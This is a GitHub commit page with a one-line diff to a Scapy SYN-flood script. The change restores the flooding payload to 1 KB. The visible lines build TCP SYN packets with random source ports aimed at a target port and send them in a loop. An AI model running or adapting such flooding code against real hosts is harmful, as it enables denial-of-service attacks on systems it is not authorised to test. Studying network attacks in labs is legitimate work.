Skip to content

Commit 165ad07

Browse files
committed
revert raw data to be 1Kb in size in syn flooding attack code
1 parent 1ad6e18 commit 165ad07

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

scapy/syn-flood/syn_flood.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
2121
# add some flooding data (1KB in this case, don't increase it too much,
2222
# otherwise, it won't work.)
23-
raw = Raw(b"X"*2)
23+
raw = Raw(b"X"*1024)
2424
# stack up the layers
2525
p = ip / tcp / raw
2626
# send the constructed packet in a loop until CTRL+C is detected

0 commit comments

Comments
 (0)